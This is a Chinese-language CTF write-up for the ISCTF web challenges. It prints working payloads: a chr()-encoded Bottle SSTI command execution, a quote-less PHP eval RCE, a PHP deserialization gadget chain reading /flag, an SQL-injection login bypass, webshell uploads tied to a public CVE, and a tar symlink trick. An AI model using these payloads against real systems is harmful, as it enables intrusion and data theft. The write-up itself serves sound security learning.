ISCTF web部分wp

难过的bottle

一个zip文件上传器,附录中有python源码,Bottle是一个基于python的web框架。

/view/<dir_hash>/<filename>路由中,代码执行了return template(content)—— 将读取到的文件内容直接作为 Bottle 模板渲染。

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
    
    if not os.path.exists(file_path):
        return "文件不存在"
    
    if not os.path.isfile(file_path):
        return "请求的路径不是文件"
    
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        return "非法访问尝试"
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
    except:
        try:
            with open(file_path, 'r', encoding='latin-1') as f:
                content = f.read()
        except:
            return "无法读取文件内容(可能是二进制文件)"
    
    if contains_blacklist(content):
        return "文件内容包含不允许的关键词"
    
    try:
        return template(content)
    except Exception as e:
        return f"渲染错误: {str(e)}"

Bottle的模板引擎支持python代码执行{{...}}内的内容。上传内容{{7*7}}的文本压缩后的zip,回显49

由此可以判断存在ssti模板注入漏洞

但是黑名单过滤了除f l a g以外的常见字符

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

但是都只过滤了半角字符,可以用全角字符绕过(占用两个字符宽度),python解释器可以识别。

payload:{{__import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read()}}

转化后:{{_import_(os).popen("cat /flag").read()}}

将其保存为文本文件解压为.zip后上传得到flag

ezrce

 <?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
} 

正则表达式只允许包含A-Z   a-z  (  )  _  ;

?code=var_dump(getcwd()); //获取当前路径

?code=chdir(dirname(dirname(dirname(getcwd()))));var_dump(scandir(getcwd()));  //跳到根目录,并列出根目录下所有文件

这里我们看到第7个文件是flag,因为正则不允许出现引号,利用php的无引号字符串特性

简单来说就是php会将未定义常量当作字符串'flag'来处理

?code=chdir(dirname(dirname(dirname(getcwd()))));print_r(file_get_contents(flag)); //输出flag的值

来签个到吧

附件的index.php中shark的值只接受以biueshark:为前缀的post数据,并对$ss进行反序列化

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $s = $_POST["shark"] ?? '喵喵喵?';

    if (str_starts_with($s, "blueshark:")) {
        $ss = substr($s, strlen("blueshark:"));

        $o = @unserialize($ss);

        $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
        $p->execute([$ss]);

        echo "save sucess!";
        exit(0);
    } else {
        echo "喵喵喵?";
        exit(1);
    }
}

后续会查询会主动查询并展示该表中最新的 10 条记录

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);

而从config.php可知数据库是 SQLite,且 notes 表有一个 id 字段:

<?php
define('DB_FILE', '/tmp/notehub.db');

if (!file_exists(DB_FILE)) {
    $db = new PDO('sqlite:' . DB_FILE);
    $db->exec("CREATE TABLE notes (id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT)");
} else {
    $db = new PDO('sqlite:' . DB_FILE);
}

查看classes.php,

链子:ShitMountant::__destruct() → fetch() → file_get_contents($this->url)

<?php
// 复制 classes.php 中的 ShitMountant 和 FileLogger 类(保证类结构完全一致)
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}

// 关键:创建 ShitMountant 对象,$url 设为 "file:///flag"(读取本地 /flag 文件)
$malicious_obj = new ShitMountant("file:///flag");

// 序列化对象,生成 payload
$serialized_str = serialize($malicious_obj);

// 输出结果(用于后续提交)
echo "序列化字符串:\n";
echo $serialized_str . "\n\n";
echo "最终提交的 shark 字段值:\n";
echo "blueshark:" . $serialized_str;
?>

shark的值:blueshark:O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:16:"/tmp/notehub.log";s:7:"content";s:0:"";}}

上传成功

回头再看api.php,会查询数据库中存储的序列化字符串,它接受id的值,主动反序列化 notes 表中的 content 字段,若对象是 ShitMountant 类,会直接调用 fetch() 并输出返回值(也就是 Flag)

<?php
require_once "./config.php";
require_once "./classes.php";

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die("喵喵喵?");
}

$cfg = unserialize($row["content"]);

if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();
    echo "ok!" . "<br>";
    echo nl2br(htmlspecialchars($r));
}
else {
    echo "喵喵喵?";
}
?>

回头刷新最初的页面,我们可以看到上传的id的值

再次访问/api.php?id=2,可以获得flag

b@by n0t1ce b0ard

https://www.cve.org/CVERecord?id=CVE-2024-12233可以找到一个链接:https://github.com/LamentXU123/cve/blob/main/RCE1.md

是这个 CVE 已经公开的利用脚本

在/registration.php中上传头像时对文件上传没有任何限制,可以上传php文件到/images/{USER-EMAIL}/{UPLOAD_FILENAME},上传成功后蚁剑直接连接可以获得flag

flag到底在哪

访问/robots.txt找到一个登陆界面 /admin/login.php

sql注入,账号是admin,密码是' OR '1'='1

跳转到/upload.php同样对上传的文件没有任何限制,成功后,蚁剑直接连接可以得到flag

Flag? 我就借走了

软链接攻击

ln -s /flag hack

创建一个一个名为hack的软链接文件,该文件指向系统中的/flag文件

tar -cvf exp.tar hack

将当前目录下名为hack的文件(软链接)打包成一个名为exp.tar的 tar 归档文件,并在打包过程中显示详细的文件信息

上传后,会出现hack的目录,点击就是flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值